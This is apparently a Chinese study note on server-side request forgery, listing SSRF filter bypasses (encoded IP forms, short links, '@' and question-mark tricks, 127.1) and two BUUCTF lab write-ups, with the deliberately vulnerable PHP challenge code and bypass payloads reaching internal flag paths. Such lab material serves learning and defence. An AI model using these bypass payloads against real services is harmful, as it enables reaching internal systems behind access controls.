SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统
参考链接: link
扫盲?
可能出现的地方
需要上传网址的地方,比如: 社交分享功能:获取超链接的标题等内容进行显示; 在线翻译:给网址翻译对应网页的内容
漏洞验证
1 2 3
| 查看源代码是否在本地进行了资源请求,比如: https: 就可能存在SSRF漏洞
|
dnslog等工具测试
等待继续总结……
常见绕过
@绕过
下面实战部分有解释
ip地址转换绕过
有些防护会对内网ip地址做正则匹配,如: 127.0.0.1\192.168.0.1这些,这时候可以把这些ip数字改成其他形式,如:
192.168.0.1
(1)8进制格式:0300.0250.0.1
(2)16进制格式:0xC0.0xA8.0.1
(3)10进制整数格式:3232235521
(4)16进制整数格式:0xC0A80001
127.0.0.1
8进制: 0177.0.0.1
16进制: 0x7F.0.0.1
10进制整数格式:
16进制整数格式:
短网址绕过
什么是短网址捏?自行百度,网上有网址转化短网址的在线工具
如(www.baidu.com)与(https://dwz.lc/2fGYWaE)一样
利用问号绕过限制
比如:http://www.aaa.com/acb?Url=http://login.aaa.com 这是一个跳转链接,跳转到它的二级域名下,那么如何进行二级域名的绕过呢?
其实就是放到它自身的域名前面也就是你添加的想要跳转的域名的后面,如:http://www.aaa.com/acb?Url=http://test.com?login.aaa.com 那么,它其实是会跳转到这个test.com域名的,而这个域名自然就是你想跳转的域名辽。跳转后,问号和问号后面的内容会变为这样:http://www.test.com/?login.aaa.com
ip的特殊省略
eg: 127.0.0.1–>127.1
ip黑名单过滤的绕过
见下面实战
简单实战
buuctf[第二章 web进阶]SSRF Training
进入页面,查看php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php highlight_file(__FILE__); function check_inner_ip($url) { $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); if (!$match_result) { die('url fomat error'); } try{ $url_parse=parse_url($url); } catch(Exception $e){ die('url fomat error'); return false; } $hostname=$url_parse['host']; $ip=gethostbyname($hostname); $int_ip=ip2long($ip); return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; } function safe_request_url($url){ if (check_inner_ip($url)) { echo $url.' is inner ip'; } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url']) { safe_request_url($result_info['redirect_url']); } curl_close($ch); var_dump($output); } }
$url = $_GET['url']; if(!empty($url)){ safe_request_url($url); } ?>
|
url构成参考这个链接
那么举个例子,parse_url()会把1个url字符串解析成下面这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php $url="http://a:@127.0.0.1:80@baidu.com/flag.php"; $parse=parse_url($url); var_dump($parse); ?>
|
这个题的关键,在于parse_url(和curl_setopt()的解析url方式的8同: curl会匹配第一个@后的,而parse_url则匹配第二个@后的
构造payload:
1
| url=http://a:@127.0.0.1:80@baidu.com/flag.php
|
被parse_url()解析为:
1 2 3 4 5 6 7 8 9 10 11 12
| array(5) { ["scheme"]=> string(4) "http" ["host"]=> string(9) "baidu.com" ["user"]=> string(1) "a" ["pass"]=> string(13) "@127.0.0.1:80" ["path"]=> string(9) "/flag.php" }
|
但是curl则会匹配第一个@后的内容,于是就绕过辽
buuctf[第三章 web进阶]Python里的SSRF
进入页面,扫了一圈发现p线索都没有…..啊不是,最后看了看提示: url parameter is required 翻译: 需要参数url
所以说学好英语是多么重要,不要老是依赖机翻…
要求是尝试访问到容器内部的 8000 端口和 url path /api/internal/secret 即可获取 flag
127.0.0.1被限制,尝试绕过:
@失败,数制转换失败,localhost也8行,👴8行了
看了看wp,有以下几种方法
1 2 3
| http://127.0.0.2:8000/api/internal/secret //原理: 127.0.0.1和127.0.0.2都是内网ip本地的默认地址,127.0.0.2如果不是特别设置应该8会存在...所以... http://0:8000/api/internal/secret //用0代替了127.0.0.1,我也8知道为什么 http://0.0.0.0:8000/api/internal/secret //127.0.0.1是本机的环回地址,0.0.0.0代表本机上任何IP地址,因此可以利用0.0.0.0来绕过127.0.0.1的过滤。
|